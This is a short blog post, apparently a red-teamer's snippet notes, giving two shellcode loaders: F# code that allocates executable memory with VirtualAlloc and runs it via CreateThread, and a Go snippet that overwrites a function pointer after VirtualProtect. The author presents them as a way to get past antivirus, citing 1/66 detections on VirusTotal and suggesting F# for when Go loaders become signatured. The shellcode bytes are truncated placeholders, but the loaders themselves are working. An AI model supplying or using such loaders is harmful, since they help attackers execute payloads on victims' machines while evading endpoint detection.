F# Shellcode Execution
I decided to go ahead and try to execute shellcode from F# by generating an EXE. It currently gets 1/66 on VT, with CrowdStrike Falcon detecting it using heuristics potentially due to PInvoke.
F# Code:
1
open System.Runtime.InteropServices
2
open System.Threading
3
4
[<DllImport "kernel32" >]
5
extern nativeint VirtualAlloc(
6
nativeint lpStartAddress,
7
uint32 dwSize,
8
uint32 flAllocationType,
9
uint32 flProtect)
10
11
[<DllImport "kernel32" >]
12
extern nativeint CreateThread(
13
uint32 lpThreadAttributes,
14
uint32 dwStackSize,
15
nativeint lpStartAddress,
16
uint32& param,
17
uint32 dwCreationFlags,
18
uint32& lpThreadId)
19
20
[<DllImport "kernel32" >]
21
extern nativeint WaitForSingleObject(
22
nativeint hHandle,
23
uint32 dwMilliseconds)
24
25
26
let mutable threadId : uint32 = (uint32)0
27
let mutable pInfo : uint32 = (uint32)0
28
let mutable shellcode : byte[] = [|0xfcuy;0xe8uy;0x89uy;|]
29
30
let address = VirtualAlloc((nativeint)0, (uint32)shellcode.Length, (uint32)0x1000, (uint32)0x40)
31
32
Marshal.Copy(shellcode, 0, address, shellcode.Length)
33
let hThread = CreateThread((uint32)0,(uint32)0, address, &pInfo, (uint32)0, &threadId)
34
WaitForSingleObject(hThread, (uint32)0xFFFFFFFF) |> ignore
Copied!
This is potentially a decent language to turn to if we need an EXE on disk after Golang gets signatured more in the near future. If you're interested in using Golang instead, @evilsocket had posted this snippet before on Twitter: https://play.golang.org/p/AeOelp76n6
1
//
2
// As the shellcode is 32 bit, this must also be compiled as a 32 bit go application
3
// via "set GOARCH=386"
4
5
package main
6
7
import (
8
"syscall"
9
"unsafe"
10
)
11
12
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
13
14
func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
15
ret, _, _ := procVirtualProtect.Call(
16
uintptr(lpAddress),
17
uintptr(dwSize),
18
uintptr(flNewProtect),
19
uintptr(lpflOldProtect))
20
return ret > 0
21
}
22
23
func main() {
24
var shellcode string = "\x31\xc9\x64\x8b\x41"
25
26
// Make a function ptr
27
f := func() {}
28
29
// Change permsissions on f function ptr
30
var oldfperms uint32
31
if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
32
panic("Call to VirtualProtect failed!")
33
}
34
35
// Override function ptr
36
**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&shellcode))
37
38
// Change permsissions on shellcode string data
39
var oldshellcodeperms uint32
40
if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&shellcode))), uintptr(len(shellcode)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
41
panic("Call to VirtualProtect failed!")
42
}
43
44
// Call the function ptr it
45
f()
46
}
Copied!
This blog post serves as a means for me to keep note of useful snippets, as well as to share with the community. I couldn't find any snippets readily available to do this whilst searching Google so I thought I'd share.
Last modified 2yr ago
Copy link